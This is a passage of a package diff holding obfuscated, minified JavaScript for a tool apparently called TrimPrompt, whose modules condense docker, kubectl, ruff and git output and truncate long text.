_0x3f24f5[_0x9f4a5a(0x1c4)](0x0,0xf)[_0x9f4a5a(0x1b8)]('\x0a')+(_0x9f4a5a(0x1c0)+(_0x3f24f5[_0x9f4a5a(0x1dd)]-0xf)+_0x9f4a5a(0x1dc));}const _0x53e72d=[_0x9f4a5a(0x1db)+_0x3c105b+_0x9f4a5a(0x1ba)+_0x4a1f1c['length']+_0x9f4a5a(0x1cd)];_0x53e72d['push']('');const _0x9d94d2=0xa;for(const _0x3154a9 of _0x4a1f1c['slice'](0x0,_0x9d94d2)){const _0x39aaef=_0x56b9b9[_0x3154a9];if(_0x39aaef[_0x9f4a5a(0x1dd)]<=0x3){for(const _0x3a7b1d of _0x39aaef)_0x53e72d[_0x9f4a5a(0x1d5)]('\x20\x20'+_0x3a7b1d);}else _0x53e72d['push']('\x20\x20'+_0x39aaef[0x0]),_0x53e72d['push'](_0x9f4a5a(0x1bd)+_0x39aaef['length']+_0x9f4a5a(0x1ba)+_0x3154a9+')');}return _0x4a1f1c[_0x9f4a5a(0x1dd)]>_0x9d94d2&&_0x53e72d[_0x9f4a5a(0x1d5)](_0x9f4a5a(0x1b7)+(_0x4a1f1c[_0x9f4a5a(0x1dd)]-_0x9d94d2)+'\x20more\x20files'),_0x53e72d[_0x9f4a5a(0x1b8)]('\x0a');}
1
+ 'use strict';const a0_0x2eda55=a0_0x2531;(function(_0x360cbf,_0x575cfe){const _0x408141=a0_0x2531,_0x41450c=_0x360cbf();while(!![]){try{const _0x21dcc1=-parseInt(_0x408141(0x14f))/0x1+parseInt(_0x408141(0x166))/0x2+-parseInt(_0x408141(0x177))/0x3+-parseInt(_0x408141(0x156))/0x4+-parseInt(_0x408141(0x170))/0x5*(parseInt(_0x408141(0x158))/0x6)+parseInt(_0x408141(0x151))/0x7+parseInt(_0x408141(0x17a))/0x8;if(_0x21dcc1===_0x575cfe)break;else _0x41450c['push'](_0x41450c['shift']());}catch(_0x487c40){_0x41450c['push'](_0x41450c['shift']());}}}(a0_0x4d28,0xf3c34));function a0_0x2531(_0x2a6794,_0x53deef){const _0x4d28b9=a0_0x4d28();return a0_0x2531=function(_0x2531e8,_0x2bffba){_0x2531e8=_0x2531e8-0x14d;let _0x1de269=_0x4d28b9[_0x2531e8];return _0x1de269;},a0_0x2531(_0x2a6794,_0x53deef);}Object['defineProperty'](exports,a0_0x2eda55(0x16c),{'value':!![]}),exports[a0_0x2eda55(0x16f)]=filterDockerPs,exports[a0_0x2eda55(0x169)]=filterDockerImages,exports[a0_0x2eda55(0x17d)]=filterDockerLogs,exports[a0_0x2eda55(0x164)]=filterKubectl,exports[a0_0x2eda55(0x15b)]=filterRuff;function filterDockerPs(_0x595381){const _0x18ee6e=a0_0x2eda55,_0x2cab15=_0x595381[_0x18ee6e(0x15c)]('\x0a')['filter'](_0x3914df=>_0x3914df[_0x18ee6e(0x153)]()[_0x18ee6e(0x167)]>0x0);if(_0x2cab15[_0x18ee6e(0x167)]===0x0)return _0x18ee6e(0x179);if(_0x2cab15[_0x18ee6e(0x167)]<=0xa)return _0x595381[_0x18ee6e(0x153)]();const _0x27a5b1=_0x2cab15[0x0],_0x1792fe=_0x2cab15['slice'](0x1),_0x1f8d29=[];_0x1f8d29[_0x18ee6e(0x15d)](_0x18ee6e(0x160)+_0x1792fe[_0x18ee6e(0x167)]+_0x18ee6e(0x162)),_0x1f8d29[_0x18ee6e(0x15d)]('');for(const _0x815d10 of _0x1792fe){const _0x3e771a=_0x815d10[_0x18ee6e(0x15c)](/\s{2,}/);if(_0x3e771a['length']>=0x5){const _0x20e538=_0x3e771a[0x0][_0x18ee6e(0x152)](0x0,0xc),_0x57e9e7=_0x3e771a[0x1],_0x28ee0e=_0x3e771a[_0x3e771a[_0x18ee6e(0x167)]-0x2]||'',_0x142eac=_0x3e771a[_0x3e771a[_0x18ee6e(0x167)]-0x1]||'';_0x1f8d29[_0x18ee6e(0x15d)]('\x20\x20'+_0x20e538+'\x20\x20'+_0x57e9e7+'\x20\x20'+_0x28ee0e+'\x20\x20'+_0x142eac);}else _0x1f8d29[_0x18ee6e(0x15d)]('\x20\x20'+_0x815d10[_0x18ee6e(0x153)]());}return _0x1f8d29[_0x18ee6e(0x15e)]('\x0a');}function a0_0x4d28(){const _0x46dadb=['__esModule','Events:','\x20files','filterDockerPs','50lrOMUX','get','filter','\x20more\x20images','\x0a...\x20[','\x20lines\x20truncated]\x20...\x0a','match','5216172iHGRJO','\x20\x20...\x20(','No\x20containers\x20running','31497336gUfmFl','slice','\x20issues\x20in\x20','filterDockerLogs','...\x20+','\x20more\x20resources','startsWith','967058gUaRvw','Found\x200\x20error','11260277inyJGb','substring','trim','\x20more\x20files','Docker\x20images:\x20','7477192PfBEOd','\x20more\x20events','526326nJemOl','Ruff:\x20no\x20issues\x20found','includes','filterRuff','split','push','join','Ruff:\x20all\x20checks\x20passed','Containers:\x20','\x20resources\x20found','\x20total','Ruff:\x20','filterKubectl','\x20\x20...\x20+','1809928cRfarb','length','No\x20resources\x20found','filterDockerImages','\x20more','\x20more\x20lines'];a0_0x4d28=function(){return _0x46dadb;};return a0_0x4d28();}function filterDockerImages(_0x5d78e1){const _0x289164=a0_0x2eda55,_0x3e9caf=_0x5d78e1[_0x289164(0x15c)]('\x0a')['filter'](_0x575c01=>_0x575c01[_0x289164(0x153)]()[_0x289164(0x167)]>0x0);if(_0x3e9caf[_0x289164(0x167)]<=0x1)return'No\x20images\x20found';if(_0x3e9caf[_0x289164(0x167)]<=0xf)return _0x5d78e1[_0x289164(0x153)]();const _0xca4e56=_0x3e9caf[_0x289164(0x17b)](0x1),_0x32ffa2=[_0x289164(0x155)+_0xca4e56[_0x289164(0x167)]+_0x289164(0x162)];_0x32ffa2['push']('');const _0x317445=_0xca4e56[_0x289164(0x17b)](0x0,0x14);for(const _0x197f1b of _0x317445){const _0x3a8ae9=_0x197f1b['split'](/\s{2,}/);if(_0x3a8ae9['length']>=0x3){const _0x122025=_0x3a8ae9[0x0],_0x3e6a2b=_0x3a8ae9[0x1],_0x2886ce=_0x3a8ae9[_0x3a8ae9[_0x289164(0x167)]-0x1]||'';_0x32ffa2[_0x289164(0x15d)]('\x20\x20'+_0x122025+':'+_0x3e6a2b+'\x20\x20'+_0x2886ce);}else _0x32ffa2['push']('\x20\x20'+_0x197f1b[_0x289164(0x153)]());}return _0xca4e56[_0x289164(0x167)]>0x14&&_0x32ffa2['push'](_0x289164(0x165)+(_0xca4e56[_0x289164(0x167)]-0x14)+_0x289164(0x173)),_0x32ffa2[_0x289164(0x15e)]('\x0a');}function filterDockerLogs(_0x1a8bfb){const _0x4bd313=a0_0x2eda55,_0x5cb458=_0x1a8bfb[_0x4bd313(0x15c)]('\x0a');if(_0x5cb458[_0x4bd313(0x167)]<=0x32)return _0x1a8bfb;const _0x5c92ae=[];return _0x5c92ae['push'](..._0x5cb458['slice'](0x0,0x14)),_0x5c92ae[_0x4bd313(0x15d)](_0x4bd313(0x174)+(_0x5cb458[_0x4bd313(0x167)]-0x28)+_0x4bd313(0x175)),_0x5c92ae[_0x4bd313(0x15d)](..._0x5cb458['slice'](-0x14)),_0x5c92ae[_0x4bd313(0x15d)]('\x0a('+_0x5cb458[_0x4bd313(0x167)]+'\x20log\x20lines\x20total)'),_0x5c92ae[_0x4bd313(0x15e)]('\x0a');}function filterKubectl(_0x1bad30,_0x30941c){const _0x5e4fa4=a0_0x2eda55,_0x45e231=_0x1bad30[_0x5e4fa4(0x15c)]('\x0a')[_0x5e4fa4(0x172)](_0x29a672=>_0x29a672[_0x5e4fa4(0x153)]()[_0x5e4fa4(0x167)]>0x0);if(_0x45e231['length']===0x0)return _0x5e4fa4(0x168);if(_0x45e231[_0x5e4fa4(0x167)]<=0x14)return _0x1bad30['trim']();if(_0x30941c===_0x5e4fa4(0x171)){const _0x5e0429=_0x45e231[0x0],_0x5751d3=_0x45e231[_0x5e4fa4(0x17b)](0x1),_0x5b8033=[_0x5751d3[_0x5e4fa4(0x167)]+_0x5e4fa4(0x161),'',_0x5e0429];return _0x5751d3[_0x5e4fa4(0x167)]<=0x1e?_0x5b8033[_0x5e4fa4(0x15d)](..._0x5751d3):(_0x5b8033['push'](..._0x5751d3[_0x5e4fa4(0x17b)](0x0,0x19)),_0x5b8033[_0x5e4fa4(0x15d)](_0x5e4fa4(0x17e)+(_0x5751d3[_0x5e4fa4(0x167)]-0x19)+_0x5e4fa4(0x14d))),_0x5b8033[_0x5e4fa4(0x15e)]('\x0a');}if(_0x30941c==='describe'){const _0x3bfd40=[];let _0x4fb16b=![],_0x45cb20=0x0;for(const _0x3a479b of _0x45e231){if(_0x3a479b[_0x5e4fa4(0x14e)](_0x5e4fa4(0x16d))){_0x4fb16b=!![],_0x3bfd40[_0x5e4fa4(0x15d)](_0x3a479b);continue;}if(_0x4fb16b){_0x45cb20++;if(_0x45cb20<=0x5)_0x3bfd40[_0x5e4fa4(0x15d)](_0x3a479b);}else _0x3bfd40[_0x5e4fa4(0x15d)](_0x3a479b);}return _0x45cb20>0x5&&_0x3bfd40['push']('\x20\x20...\x20+'+(_0x45cb20-0x5)+_0x5e4fa4(0x157)),_0x3bfd40[_0x5e4fa4(0x15e)]('\x0a');}if(_0x30941c==='logs')return filterDockerLogs(_0x1bad30);const _0x412c78=_0x45e231[_0x5e4fa4(0x17b)](0x0,0x1e);return _0x45e231[_0x5e4fa4(0x167)]>0x1e&&_0x412c78[_0x5e4fa4(0x15d)](_0x5e4fa4(0x17e)+(_0x45e231[_0x5e4fa4(0x167)]-0x1e)+_0x5e4fa4(0x16b)),_0x412c78[_0x5e4fa4(0x15e)]('\x0a');}function filterRuff(_0x1e0370){const _0x250c88=a0_0x2eda55,_0x4baec0=_0x1e0370['split']('\x0a')['filter'](_0x3c85d1=>_0x3c85d1[_0x250c88(0x153)]()['length']>0x0);if(_0x4baec0[_0x250c88(0x167)]===0x0)return _0x250c88(0x159);if(_0x1e0370[_0x250c88(0x15a)]('All\x20checks\x20passed')||_0x1e0370[_0x250c88(0x15a)](_0x250c88(0x150)))return _0x250c88(0x15f);const _0x29c553=_0x1e0370[_0x250c88(0x176)](/Found (\d+) error/),_0x374191=_0x29c553?parseInt(_0x29c553[0x1]):_0x4baec0[_0x250c88(0x167)],_0x47aaa8={},_0x5d6775=[];for(const _0x47a54a of _0x4baec0){const _0x38a2a5=_0x47a54a['match'](/^([^:]+:\d+:\d+):\s*(.*)/);if(_0x38a2a5){const _0x21cc98=_0x38a2a5[0x1],_0x3b01d7=_0x21cc98['split'](':')[0x0];if(!_0x47aaa8[_0x3b01d7])_0x47aaa8[_0x3b01d7]=[];_0x47aaa8[_0x3b01d7][_0x250c88(0x15d)](_0x47a54a);}else _0x5d6775[_0x250c88(0x15d)](_0x47a54a);}const _0x461351=Object['keys'](_0x47aaa8);if(_0x461351[_0x250c88(0x167)]===0x0){if(_0x4baec0[_0x250c88(0x167)]<=0x14)return _0x1e0370[_0x250c88(0x153)]();return _0x4baec0[_0x250c88(0x17b)](0x0,0xf)[_0x250c88(0x15e)]('\x0a')+('\x0a...\x20+'+(_0x4baec0[_0x250c88(0x167)]-0xf)+_0x250c88(0x16a));}const _0x378af5=[_0x250c88(0x163)+_0x374191+_0x250c88(0x17c)+_0x461351['length']+_0x250c88(0x16e)];_0x378af5[_0x250c88(0x15d)]('');const _0x3a835b=0xa;for(const _0x2e392b of _0x461351[_0x250c88(0x17b)](0x0,_0x3a835b)){const _0x2652c1=_0x47aaa8[_0x2e392b];if(_0x2652c1[_0x250c88(0x167)]<=0x3){for(const _0xfe5953 of _0x2652c1)_0x378af5[_0x250c88(0x15d)]('\x20\x20'+_0xfe5953);}else _0x378af5[_0x250c88(0x15d)]('\x20\x20'+_0x2652c1[0x0]),_0x378af5['push'](_0x250c88(0x178)+_0x2652c1[_0x250c88(0x167)]+_0x250c88(0x17c)+_0x2e392b+')');}return _0x461351[_0x250c88(0x167)]>_0x3a835b&&_0x378af5['push'](_0x250c88(0x165)+(_0x461351['length']-_0x3a835b)+_0x250c88(0x154)),_0x378af5['join']('\x0a');}
@@ -1 +1 @@
1
- 'use strict';const a0_0x175bae=a0_0x303f;(function(_0x2524d0,_0x4eb1d6){const _0x29f568=a0_0x303f,_0x348b71=_0x2524d0();while(!![]){try{const _0x3281f9=parseInt(_0x29f568(0x15f))/0x1*(parseInt(_0x29f568(0x16a))/0x2)+parseInt(_0x29f568(0x163))/0x3*(parseInt(_0x29f568(0x169))/0x4)+parseInt(_0x29f568(0x15a))/0x5+-parseInt(_0x29f568(0x15c))/0x6*(parseInt(_0x29f568(0x161))/0x7)+-parseInt(_0x29f568(0x156))/0x8+parseInt(_0x29f568(0x162))/0x9*(-parseInt(_0x29f568(0x159))/0xa)+parseInt(_0x29f568(0x16b))/0xb*(parseInt(_0x29f568(0x165))/0xc);if(_0x3281f9===_0x4eb1d6)break;else _0x348b71['push'](_0x348b71['shift']());}catch(_0x57a3df){_0x348b71['push'](_0x348b71['shift']());}}}(a0_0x1f87,0xa5776));function a0_0x1f87(){const _0x65d5=['defineProperty','stripAnsi','9081880bXwlQO','6766505fKTqPo','split','5676714bIHSkt','push','slice','1DhulyH','__esModule','7EvlrQO','9BvPKch','6447GlKVlv','softTruncate','8132832WTSVSN','length','\x20[x','collapseDuplicates','1592xMdwWr','468568RfWYMp','22QKlWcR','trim','join','10130416qGZOUh'];a0_0x1f87=function(){return _0x65d5;};return a0_0x1f87();}Object[a0_0x175bae(0x157)](exports,a0_0x175bae(0x160),{'value':!![]}),exports[a0_0x175bae(0x158)]=stripAnsi,exports[a0_0x175bae(0x168)]=collapseDuplicates,exports[a0_0x175bae(0x164)]=softTruncate;function stripAnsi(_0x48201c){const _0x3e1d22=/[\u001b\u009b][[()#;?]*(?:[0-9]{1,4}(?:;[0-9]{0,4})*)?[0-9A-ORZcf-nqry=><]/g;return _0x48201c['replace'](_0x3e1d22,'');}function a0_0x303f(_0x418092,_0x34d094){const _0x1f8786=a0_0x1f87();return a0_0x303f=function(_0x303f26,_0x465917){_0x303f26=_0x303f26-0x155;let _0x463c8e=_0x1f8786[_0x303f26];return _0x463c8e;},a0_0x303f(_0x418092,_0x34d094);}function collapseDuplicates(_0xfbdc18){const _0x15b258=a0_0x175bae,_0xa9b3af=_0xfbdc18[_0x15b258(0x15b)]('\x0a');if(_0xa9b3af[_0x15b258(0x166)]<=0x1)return _0xfbdc18;const _0x38332b=[];let _0x5c51e2=_0xa9b3af[0x0],_0x3e2465=0x1;for(let _0x5da2a8=0x1;_0x5da2a8<_0xa9b3af['length'];_0x5da2a8++){const _0x3c8c8b=_0xa9b3af[_0x5da2a8];_0x3c8c8b===_0x5c51e2&&_0x3c8c8b[_0x15b258(0x16c)]()[_0x15b258(0x166)]>0x0?_0x3e2465++:(_0x3e2465>0x1?_0x38332b[_0x15b258(0x15d)](_0x5c51e2+'\x20[x'+_0x3e2465+']'):_0x38332b['push'](_0x5c51e2),_0x5c51e2=_0x3c8c8b,_0x3e2465=0x1);}return _0x3e2465>0x1?_0x38332b[_0x15b258(0x15d)](_0x5c51e2+_0x15b258(0x167)+_0x3e2465+']'):_0x38332b['push'](_0x5c51e2),_0x38332b[_0x15b258(0x155)]('\x0a');}function softTruncate(_0x42a786,_0x372254=0x4e20){const _0x2f3f50=a0_0x175bae;if(_0x42a786['length']<=_0x372254)return _0x42a786;const _0x41c2fd=_0x42a786['split']('\x0a');if(_0x41c2fd[_0x2f3f50(0x166)]<=0xc8)return _0x42a786;const _0x30288a=0x32,_0xf48a56=0x96,_0x51125c=_0x41c2fd[_0x2f3f50(0x15e)](0x0,_0x30288a),_0x56a92f=_0x41c2fd[_0x2f3f50(0x15e)](_0x41c2fd[_0x2f3f50(0x166)]-_0xf48a56),_0x360986=_0x42a786[_0x2f3f50(0x166)]-(_0x51125c[_0x2f3f50(0x155)]('\x0a')['length']+_0x56a92f[_0x2f3f50(0x155)]('\x0a')[_0x2f3f50(0x166)]);return[..._0x51125c,'\x0a...\x20[TrimPrompt:\x20Truncated\x20'+_0x360986+'\x20characters\x20of\x20output]\x20...\x0a',..._0x56a92f][_0x2f3f50(0x155)]('\x0a');}
1
+ 'use strict';const a0_0x1b903d=a0_0x1d06;function a0_0x1d06(_0x175651,_0x12bae5){const _0x4e135e=a0_0x4e13();return a0_0x1d06=function(_0x1d064,_0x1e80fd){_0x1d064=_0x1d064-0x1c1;let _0x251e56=_0x4e135e[_0x1d064];return _0x251e56;},a0_0x1d06(_0x175651,_0x12bae5);}(function(_0x570998,_0x158913){const _0x10046c=a0_0x1d06,_0x21df2b=_0x570998();while(!![]){try{const _0xedcd8c=parseInt(_0x10046c(0x1cc))/0x1+-parseInt(_0x10046c(0x1ca))/0x2*(parseInt(_0x10046c(0x1d5))/0x3)+parseInt(_0x10046c(0x1d2))/0x4*(parseInt(_0x10046c(0x1d0))/0x5)+-parseInt(_0x10046c(0x1c4))/0x6*(parseInt(_0x10046c(0x1c1))/0x7)+-parseInt(_0x10046c(0x1c6))/0x8*(parseInt(_0x10046c(0x1c5))/0x9)+-parseInt(_0x10046c(0x1cf))/0xa+parseInt(_0x10046c(0x1cd))/0xb;if(_0xedcd8c===_0x158913)break;else _0x21df2b['push'](_0x21df2b['shift']());}catch(_0x4b28e8){_0x21df2b['push'](_0x21df2b['shift']());}}}(a0_0x4e13,0x87d38));function a0_0x4e13(){const _0x3390bf=['71272iTgJKz','slice','softTruncate','1065vyzcwI','__esModule','join','split','35SREZid','defineProperty','stripAnsi','1251342ONAtdh','9897660SSzgwc','8XHXTmK','push','trim','length','5510CVfOKS','\x0a...\x20[TrimPrompt:\x20Truncated\x20','21200KJSbBK','41817523hCSWfN','replace','8051650wVvcOJ','185FCIVXM','\x20[x'];a0_0x4e13=function(){return _0x3390bf;};return a0_0x4e13();}Object[a0_0x1b903d(0x1c2)](exports,a0_0x1b903d(0x1d6),{'value':!![]}),exports[a0_0x1b903d(0x1c3)]=stripAnsi,exports['collapseDuplicates']=collapseDuplicates,exports[a0_0x1b903d(0x1d4)]=softTruncate;function stripAnsi(_0x1b6229){const _0x5619e4=a0_0x1b903d,_0x38b181=/[\u001b\u009b][[()#;?]*(?:[0-9]{1,4}(?:;[0-9]{0,4})*)?[0-9A-ORZcf-nqry=><]/g;return _0x1b6229[_0x5619e4(0x1ce)](_0x38b181,'');}function collapseDuplicates(_0x4d8724){const _0x112285=a0_0x1b903d,_0x2d4069=_0x4d8724[_0x112285(0x1d8)]('\x0a');if(_0x2d4069[_0x112285(0x1c9)]<=0x1)return _0x4d8724;const _0x19267b=[];let _0xaceb9a=_0x2d4069[0x0],_0x32c179=0x1;for(let _0x45a0b8=0x1;_0x45a0b8<_0x2d4069['length'];_0x45a0b8++){const _0x30cd12=_0x2d4069[_0x45a0b8];_0x30cd12===_0xaceb9a&&_0x30cd12[_0x112285(0x1c8)]()[_0x112285(0x1c9)]>0x0?_0x32c179++:(_0x32c179>0x1?_0x19267b[_0x112285(0x1c7)](_0xaceb9a+_0x112285(0x1d1)+_0x32c179+']'):_0x19267b[_0x112285(0x1c7)](_0xaceb9a),_0xaceb9a=_0x30cd12,_0x32c179=0x1);}return _0x32c179>0x1?_0x19267b[_0x112285(0x1c7)](_0xaceb9a+_0x112285(0x1d1)+_0x32c179+']'):_0x19267b[_0x112285(0x1c7)](_0xaceb9a),_0x19267b[_0x112285(0x1d7)]('\x0a');}function softTruncate(_0x16eb03,_0x206426=0x4e20){const _0x3a4f8c=a0_0x1b903d;if(_0x16eb03['length']<=_0x206426)return _0x16eb03;const _0x34de61=_0x16eb03[_0x3a4f8c(0x1d8)]('\x0a');if(_0x34de61[_0x3a4f8c(0x1c9)]<=0xc8)return _0x16eb03;const _0x267cfb=0x32,_0x19d5f9=0x96,_0x1a53cb=_0x34de61[_0x3a4f8c(0x1d3)](0x0,_0x267cfb),_0x4e7a48=_0x34de61['slice'](_0x34de61[_0x3a4f8c(0x1c9)]-_0x19d5f9),_0x5c4615=_0x16eb03[_0x3a4f8c(0x1c9)]-(_0x1a53cb['join']('\x0a')['length']+_0x4e7a48['join']('\x0a')['length']);return[..._0x1a53cb,_0x3a4f8c(0x1cb)+_0x5c4615+'\x20characters\x20of\x20output]\x20...\x0a',..._0x4e7a48][_0x3a4f8c(0x1d7)]('\x0a');}
package/filters/git.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x59937d=a0_0x3219;function a0_0x2e17(){const _0x38068d=['defineProperty','8076488fgZzNG','split','match','__importStar','1044378KIXHOj','slice','2768DAOcBu','__esModule','*\x20Branch:\x20','No\x20modifications','entries','833675mkpqBI','map','\x20untracked\x20files)','replace','diff\x20--git','\x0aChanges:','---','filter','\x20\x20??\x20','startsWith','1810932NDHrji','get','path','push','unknown_file','getOwnPropertyDescriptor','Clean\x20working\x20tree','[file]\x20','length','2177112nESFrr','hasOwnProperty','\x20\x20...\x20(+','create','prototype','__createBinding','1773WKGrkY','join','filterGitLog','__setModuleDefault','\x0aUntracked\x20files:','basename','configurable','call','getOwnPropertyNames','default','177934VAJDqi','trim'];a0_0x2e17=function(){return _0x38068d;};return a0_0x2e17();}(function(_0x42dc05,_0x1b2ca7){const _0x20e92a=a0_0x3219,_0x22c16e=_0x42dc05();while(!![]){try{const _0x2add5c=parseInt(_0x20e92a(0x17d))/0x1+-parseInt(_0x20e92a(0x184))/0x2+parseInt(_0x20e92a(0x1a4))/0x3*(parseInt(_0x20e92a(0x186))/0x4)+-parseInt(_0x20e92a(0x18b))/0x5+-parseInt(_0x20e92a(0x195))/0x6+-parseInt(_0x20e92a(0x19e))/0x7+parseInt(_0x20e92a(0x180))/0x8;if(_0x2add5c===_0x1b2ca7)break;else _0x22c16e['push'](_0x22c16e['shift']());}catch(_0x328ef9){_0x22c16e['push'](_0x22c16e['shift']());}}}(a0_0x2e17,0x47f31));function a0_0x3219(_0x49da2f,_0x2cae01){const _0x2e1703=a0_0x2e17();return a0_0x3219=function(_0x3219b8,_0x286634){_0x3219b8=_0x3219b8-0x175;let _0x47452a=_0x2e1703[_0x3219b8];return _0x47452a;},a0_0x3219(_0x49da2f,_0x2cae01);}var __createBinding=this&&this[a0_0x59937d(0x1a3)]||(Object[a0_0x59937d(0x1a1)]?function(_0x1fc1f6,_0x4fb5ce,_0x567964,_0x140b56){const _0x1edcf8=a0_0x59937d;if(_0x140b56===undefined)_0x140b56=_0x567964;var _0x5ef28c=Object[_0x1edcf8(0x19a)](_0x4fb5ce,_0x567964);(!_0x5ef28c||(_0x1edcf8(0x196)in _0x5ef28c?!_0x4fb5ce[_0x1edcf8(0x187)]:_0x5ef28c['writable']||_0x5ef28c[_0x1edcf8(0x179)]))&&(_0x5ef28c={'enumerable':!![],'get':function(){return _0x4fb5ce[_0x567964];}}),Object[_0x1edcf8(0x17f)](_0x1fc1f6,_0x140b56,_0x5ef28c);}:function(_0x3dc04e,_0x309d20,_0x492adf,_0x4e8089){if(_0x4e8089===undefined)_0x4e8089=_0x492adf;_0x3dc04e[_0x4e8089]=_0x309d20[_0x492adf];}),__setModuleDefault=this&&this[a0_0x59937d(0x176)]||(Object[a0_0x59937d(0x1a1)]?function(_0x1e684d,_0x2b1971){const _0xf6af4f=a0_0x59937d;Object[_0xf6af4f(0x17f)](_0x1e684d,_0xf6af4f(0x17c),{'enumerable':!![],'value':_0x2b1971});}:function(_0x5aae3f,_0x5431d7){const _0x41a455=a0_0x59937d;_0x5aae3f[_0x41a455(0x17c)]=_0x5431d7;}),__importStar=this&&this[a0_0x59937d(0x183)]||(function(){var _0x52d536=function(_0x281daa){const _0xe6aa9f=a0_0x3219;return _0x52d536=Object[_0xe6aa9f(0x17b)]||function(_0x2545e1){const _0x5872e5=_0xe6aa9f;var _0x2693f1=[];for(var _0x56008a in _0x2545e1)if(Object[_0x5872e5(0x1a2)][_0x5872e5(0x19f)][_0x5872e5(0x17a)](_0x2545e1,_0x56008a))_0x2693f1[_0x2693f1['length']]=_0x56008a;return _0x2693f1;},_0x52d536(_0x281daa);};return function(_0x703957){const _0x99fb03=a0_0x3219;if(_0x703957&&_0x703957[_0x99fb03(0x187)])return _0x703957;var _0x17d025={};if(_0x703957!=null){for(var _0x563dcb=_0x52d536(_0x703957),_0x5968d=0x0;_0x5968d<_0x563dcb[_0x99fb03(0x19d)];_0x5968d++)if(_0x563dcb[_0x5968d]!==_0x99fb03(0x17c))__createBinding(_0x17d025,_0x703957,_0x563dcb[_0x5968d]);}return __setModuleDefault(_0x17d025,_0x703957),_0x17d025;};}());Object[a0_0x59937d(0x17f)](exports,a0_0x59937d(0x187),{'value':!![]}),exports['filterGitStatus']=filterGitStatus,exports[a0_0x59937d(0x175)]=filterGitLog,exports['filterGitDiff']=filterGitDiff;const path=__importStar(require(a0_0x59937d(0x197)));function filterGitStatus(_0x577195){const _0x1f5f32=a0_0x59937d,_0x9306db=_0x577195[_0x1f5f32(0x181)]('\x0a')[_0x1f5f32(0x18c)](_0x57e4d1=>_0x57e4d1[_0x1f5f32(0x17e)]())[_0x1f5f32(0x192)](_0x303c37=>_0x303c37[_0x1f5f32(0x19d)]>0x0);if(_0x9306db['length']===0x0)return _0x1f5f32(0x19b);const _0x5d22d4=[],_0x3dad5e=[],_0x328bca=[];for(const _0x39ab04 of _0x9306db){if(_0x39ab04[_0x1f5f32(0x194)]('##')){const _0x163754=_0x39ab04[_0x1f5f32(0x18e)](/^##\s*/,'');_0x5d22d4[_0x1f5f32(0x198)](_0x1f5f32(0x188)+_0x163754);}else _0x39ab04[_0x1f5f32(0x194)]('??')?_0x3dad5e[_0x1f5f32(0x198)](_0x39ab04['substring'](0x3)['trim']()):_0x328bca[_0x1f5f32(0x198)](_0x39ab04);}_0x328bca['length']>0x0&&(_0x5d22d4['push'](_0x1f5f32(0x190)),_0x5d22d4['push'](..._0x328bca[_0x1f5f32(0x18c)](_0x17dddb=>'\x20\x20'+_0x17dddb)));if(_0x3dad5e['length']>0x0){_0x5d22d4[_0x1f5f32(0x198)](_0x1f5f32(0x177));const _0x4b4dd5={},_0x583920=[];for(const _0x1a796a of _0x3dad5e){const _0xbb16ad=path['dirname'](_0x1a796a);_0xbb16ad==='.'||_0xbb16ad===''?_0x583920['push'](_0x1a796a):(!_0x4b4dd5[_0xbb16ad]&&(_0x4b4dd5[_0xbb16ad]=[]),_0x4b4dd5[_0xbb16ad]['push'](path[_0x1f5f32(0x178)](_0x1a796a)));}for(const [_0x33cb0a,_0x25b7a7]of Object[_0x1f5f32(0x18a)](_0x4b4dd5)){if(_0x25b7a7[_0x1f5f32(0x19d)]>0x5)_0x5d22d4['push'](_0x1f5f32(0x193)+_0x33cb0a+'/\x20('+_0x25b7a7['length']+_0x1f5f32(0x18d));else for(const _0x568748 of _0x25b7a7){_0x5d22d4[_0x1f5f32(0x198)](_0x1f5f32(0x193)+path[_0x1f5f32(0x1a5)](_0x33cb0a,_0x568748));}}for(const _0xd8297b of _0x583920){_0x5d22d4[_0x1f5f32(0x198)](_0x1f5f32(0x193)+_0xd8297b);}}return _0x5d22d4['join']('\x0a');}function filterGitLog(_0x356565){const _0x312343=a0_0x59937d,_0x500d8b=_0x356565[_0x312343(0x181)]('---END---')[_0x312343(0x18c)](_0x17f5bd=>_0x17f5bd[_0x312343(0x17e)]())[_0x312343(0x192)](_0x255608=>_0x255608[_0x312343(0x19d)]>0x0);if(_0x500d8b['length']===0x0)return _0x356565;const _0x3ad457=[];for(const _0xe75a90 of _0x500d8b){const _0x2c1299=_0xe75a90['split']('\x0a'),_0x4da6a1=_0x2c1299[0x0]||'',_0x45d5d9=_0x2c1299['slice'](0x1)[_0x312343(0x18c)](_0x3e5b4f=>_0x3e5b4f[_0x312343(0x17e)]())[_0x312343(0x192)](_0x3cc709=>_0x3cc709[_0x312343(0x19d)]>0x0);_0x3ad457[_0x312343(0x198)]('-\x20'+_0x4da6a1),_0x45d5d9[_0x312343(0x19d)]>0x0&&(_0x3ad457[_0x312343(0x198)]('\x20\x20'+_0x45d5d9[0x0]),_0x45d5d9['length']>0x1&&_0x3ad457[_0x312343(0x198)](_0x312343(0x1a0)+(_0x45d5d9[_0x312343(0x19d)]-0x1)+'\x20lines\x20of\x20description)'));}return _0x3ad457[_0x312343(0x1a5)]('\x0a');}function filterGitDiff(_0x1c78ee){const _0x426eb2=a0_0x59937d,_0xaa157a=_0x1c78ee[_0x426eb2(0x181)]('\x0a'),_0x2d5a=[];let _0x23dfa2='',_0x5f1e90=0x0,_0x96aa21=0x0,_0x239dc1=[];const _0x38b250=()=>{const _0x429298=_0x426eb2;if(_0x23dfa2&&(_0x5f1e90>0x0||_0x96aa21>0x0)){_0x2d5a[_0x429298(0x198)](_0x429298(0x19c)+_0x23dfa2+'\x20(+'+_0x5f1e90+'\x20-'+_0x96aa21+')');const _0x575c7e=0xa,_0x21632f=_0x239dc1[_0x429298(0x185)](0x0,_0x575c7e);for(const _0x4b10cd of _0x21632f){_0x2d5a['push']('\x20\x20'+_0x4b10cd);}const _0x19ec0c=_0x5f1e90+_0x96aa21-_0x575c7e;_0x19ec0c>0x0&&_0x2d5a[_0x429298(0x198)]('\x20\x20...\x20+'+_0x19ec0c+'\x20more\x20modifications');}_0x5f1e90=0x0,_0x96aa21=0x0,_0x239dc1=[];};for(const _0x578484 of _0xaa157a){if(_0x578484[_0x426eb2(0x194)](_0x426eb2(0x18f))){_0x38b250();const _0x5e0a26=_0x578484[_0x426eb2(0x182)](/\sb\/(.+)$/);_0x23dfa2=_0x5e0a26?_0x5e0a26[0x1]:_0x426eb2(0x199);}else{if(_0x578484[_0x426eb2(0x194)]('+')&&!_0x578484['startsWith']('+++'))_0x5f1e90++,_0x239dc1['push'](_0x578484);else 